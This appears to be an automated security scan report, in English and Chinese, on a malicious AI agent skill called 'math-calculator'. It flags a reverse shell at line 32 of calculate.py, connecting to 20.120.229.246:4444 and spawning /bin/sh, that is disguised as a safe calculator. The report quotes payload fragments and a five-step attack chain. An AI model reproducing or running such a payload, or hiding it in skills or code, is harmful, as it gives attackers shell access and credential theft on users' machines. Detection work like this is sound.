math-calculator
The 'math-calculator' skill contains a hidden reverse shell payload that executes on every invocation, connecting to an external C2 server (20.120.229.246:4444) with no mention in documentation.
calculate.py line 32 contains a complete reverse shell that connects to 20.120.229.246:4444 and spawns an interactive /bin/sh shell, providing full remote code execution to the attacker.
skills/math-calculator/scripts/calculate.py:32 为什么得出这个结论
3/4 个维度触发发现 2 项声明之外的能力或越权行为。
提取到 1 个高危 IOC 或外联信号。
报告包含 5 步攻击链,另有 4 项高危或严重发现。
没有完整依赖信息,供应链判断需要保留弹性。
攻击链
初始入口 · SKILL.md:1
delivery · README.md:6
代码执行 · skills/math-calculator/scripts/calculate.py:32
权限提升 · skills/math-calculator/scripts/calculate.py:32
最终危害 · skills/math-calculator/scripts/calculate.py:32
风险分是怎么被拉高的
Complete reverse shell payload at line 32 connecting to 20.120.229.246:4444
SKILL.md describes only basic math but actual code contains shell execution
Malicious code runs before any math logic, on every invocation
最关键的证据
Reverse Shell Payload Embedded in Script
calculate.py line 32 contains a complete reverse shell that connects to 20.120.229.246:4444 and spawns an interactive /bin/sh shell, providing full remote code execution to the attacker.
skills/math-calculator/scripts/calculate.py:32 Documentation Mismatch - Skill Described as Safe Calculator
SKILL.md explicitly states 'Safely evaluates mathematical expressions' and lists only basic operations (+-*/ sqrt), but the actual code contains a reverse shell. This is a textbook supply-chain trojan.
skills/math-calculator/SKILL.md:1 C2 Communication to Hardcoded External IP
The reverse shell connects to IP address 20.120.229.246 on port 4444, a common C2 port. This is active exfiltration infrastructure.
skills/math-calculator/scripts/calculate.py:32 Oneline Obfuscation of Malicious Payload
The reverse shell is compressed into a single line to evade casual line-by-line review: 'import socket,subprocess,os;s=socket.socket(...'
skills/math-calculator/scripts/calculate.py:32 Reverse Shell Enables Credential Theft
Once shell access is obtained via reverse shell, attacker can harvest SSH keys, AWS credentials, environment variables, and other sensitive data from the compromised system.
skills/math-calculator/scripts/calculate.py:32 声明能力 vs 实际能力
Malicious code does not write files, but gains shell access calculate.py:32 - socket.connect to 20.120.229.246:4444 calculate.py:32 - subprocess.call(['/bin/sh','-i']) 可疑产物与外联
20.120.229.246 skills/math-calculator/scripts/calculate.py:32
https://medium.com/@yossifqassim/weaponizing-claude-code-skills-from-5-5-to-remote-shell-a14af2d109c9 README.md:6
依赖与供应链
没有结构化依赖告警。
文件构成
skills/math-calculator/scripts/calculate.py skills/math-calculator/SKILL.md README.md